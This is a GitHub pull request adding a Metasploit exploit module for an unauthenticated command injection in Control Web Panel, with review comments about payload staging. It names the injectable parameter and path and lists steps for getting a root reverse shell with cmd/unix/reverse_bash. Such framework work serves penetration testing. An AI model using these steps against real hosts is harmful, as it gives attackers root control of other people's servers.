Skip to content

Conversation

@JohannesLks
Copy link
Contributor

@JohannesLks JohannesLks commented Dec 24, 2025

Fixes #20788

Add Control Web Panel API Command Injection Exploit (CVE-2025-67888)

This PR adds a new exploit module for CVE-2025-67888, an unauthenticated OS command injection vulnerability in Control Web Panel (CWP) versions <= 0.9.8.1208.

What does this change do?

Adds exploit/linux/http/control_web_panel_api_cmd_exec which exploits a blind command injection via the key GET parameter in /admin/index.php when api=1 is set. Successful exploitation grants root-level access.

Prerequisites: Softaculous and/or SitePad must be installed via CWP Scripts Manager.

Files Added

  • modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb
  • documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md

Verification

  • Start msfconsole
  • use exploit/linux/http/control_web_panel_api_cmd_exec
  • set RHOSTS <target>
  • set RPORT 2031
  • set SSL true
  • set LHOST <attacker>
  • check
  • Verify target is detected as vulnerable (time-based check)
  • set payload cmd/unix/reverse_bash
  • exploit
  • Verify shell session opens with root privileges
  • Document verified via included documentation file

References

@JohannesLks JohannesLks marked this pull request as draft December 24, 2025 00:26
@bcoles
Copy link
Contributor

bcoles commented Dec 24, 2025

see #20788

Pro-tip: If you write "Fixes #20788", then when this PR is merged that issue will also be closed automatically.

@JohannesLks JohannesLks marked this pull request as ready for review December 24, 2025 11:43
@JohannesLks JohannesLks requested a review from bcoles December 24, 2025 11:43
JohannesLks and others added 2 commits December 26, 2025 16:04
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
@msutovsky-r7 msutovsky-r7 changed the title add module for CVE-2025-67888 Adds module for Control Web Panel API Command Injection Exploit (CVE-2025-67888) Jan 8, 2026
@msutovsky-r7 msutovsky-r7 changed the title Adds module for Control Web Panel API Command Injection Exploit (CVE-2025-67888) Adds module for Control Web Panel API Command Injection (CVE-2025-67888) Jan 8, 2026
…y single-line conditional - Remove unnecessary return keyword
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using cmdstager is useful when we have space limitations. Are there space limitations, or can we just give the command to execute as-is?
If it is the 2000 byte limit on url, we probably do not need to use cmdstager.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@bwatters-r7 I tried to folloe the CmdStager docs pattern with two targets. Without the Linux Dropper target, native ELF payloads like linux/x64/meterpreter/reverse_tcp wouldn't work, users would be limited to cmd/unix/* payloads. cmd/unix/python/meterpreter works fine on the unix command target, so maybe the dropper is redundant? Happy to remove it if you think a simpler single target approach is better here.

…pears to CheckCode::Vulnerable - Add cmd/base64 encoder in Payload hash for Unix Command target - Simplify execute_command by removing manual base64 encoding
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

CVE-2025-67888 — Control Web Panel <= 0.9.8.1208 Unauthenticated OS Command Injection Vulnerability

5 participants